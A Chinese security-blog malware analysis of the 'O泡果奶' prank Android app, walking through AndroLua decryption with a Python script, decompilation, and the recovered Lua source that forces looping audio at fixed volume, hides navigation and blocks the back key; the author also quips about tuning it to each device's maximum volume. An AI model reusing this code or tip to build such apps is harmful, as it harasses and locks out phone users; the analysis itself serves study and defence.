记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

【移动安全】「 O 泡果奶」App 分析

2020-10-16 20:51

近日,一个名为「一个礼物」的文件在大学中传播开来,手机只要点开就会强制播放“o泡果奶”的魔性广告声,中招者会因该原因产生“社会性死亡”。

这个app有这几个特点:
1、手机没弹权限申请
2、音量调节被锁定,固定在某一特定值
3、返回键被锁定

该apk与927事件中 送给最好的TA.apk  (以下简称为ta)极度相似
1、效果相同
2、同样使用了androlua
3、主要的恶意lua文件内容几乎相同 

该app大概使用的是这个工具 https://github.com/nirenr/AndroLua_pro

Androlua工程结构:
  • init.lua 工程配置文件

  • main.lua 工程主入口文件

  • layout.aly  工程默认创建的布局文件

注:GitHub已经不是最新版了,作者建了个付费QQ群,群内更新。


潜入QQ群,白嫖了一个 Androlua编辑器



新建项目后有三个默认的lua文件


由以上可得,该软件本质上是lua + Android上的lua环境,主要的逻辑在main.lua中,接下来对lua进行分析。

lua文件的解密过程位于libluajava.so中:


直接使用chamd5团队的解密脚本:
# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
__blog__='http://pcat.cc'

from ctypes import *
import sys

def decrypt(filename):
    s=open(filename,'rb').read()
    outfile='decode_'+ filename
    if s[0]==chr(0x1band s[1]!=chr(0x4c):
        rst=chr(0x1b)
        size=len(s)
        v10=0
        for i in range(1,size):
            v10+=size
            v=(c_ulonglong(-2139062143*v10).value>>32)+v10
            v1=c_uint(v).value>>7
            v2=c_int(v).value<0
            rst+=chr(ord(s[i])^(v10+v1+v2)&0xff)
        with open(outfile,'wb'as f:
            f.write(rst)
    else:
        pass

def foo():
    if len(sys.argv)==2:
        filename=sys.argv[1]
    else:
        filename='main.lua'
    decrypt(filename)

if __name__ == '__main__':
    foo()

然后对解密后的lua文件进行反编译:

java -jar unluac_2020_05_28.jar decode_main.lua 

反编译之后是这样的:


手动整理一下,关键逻辑都在这了:
require("import")

import("android.app.*")
import("android.os.*")
import("android.widget.*")
import("android.view.*")
import("android.view.View")
import("android.content.Context")
import("android.media.MediaPlayer")
import("android.media.AudioManager")
import("com.androlua.Ticker")


activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)

// 循环播放 mc.mp3
m = MediaPlayer()
m.reset()
m.setDataSource(activity.getLuaDir() .. "/mc.mp3") // 与ta唯一的区别
m.prepare()
m.start()
m.setLooping(true)

// 周期性定时器
ti = Ticker() // androlua Ticker
ti.Period = 10 //周期

function tick() //设置定时器触发的函数
  activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) //音量调节到15 并弹出音量条
  activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) //锁定全屏
end

ti.onTick = tick
ti.start() //开启定时器,间隔为10ms

function keyDown(A0, A1) //按键监听
  if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then //当按下返回键
    activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
    // 音量调节到15 并弹出 音量条
  end
  return true

onKeyDown = keyDown

测了一下,我这个设备的音乐音量最大值为30,由此可见,这软件兼容性差点事,推荐使用  getStreamMaxVolume(AudioManager.STREAM_MUSIC)   来获取当前设备的音量最大值,统一一下受害者的受害体验。



这玩意怕是算不上木马、病毒,顶多算个恶搞app,没什么内容。

参考资料:  
1、ChaMd5 “送给最好的TA.apk”简单逆向分析 -  https://cloud.tencent.com/developer/article/1517234


E

N

D



Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

我知道你在看


知识来源: https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247489199&idx=1&sn=4f097d8598b11a581dcbd42dc8057da5

阅读:17264 | 评论:0 | 标签:移动 app 安全

想收藏或者和大家分享这篇好文章→复制链接地址

“【移动安全】「 O 泡果奶」App 分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云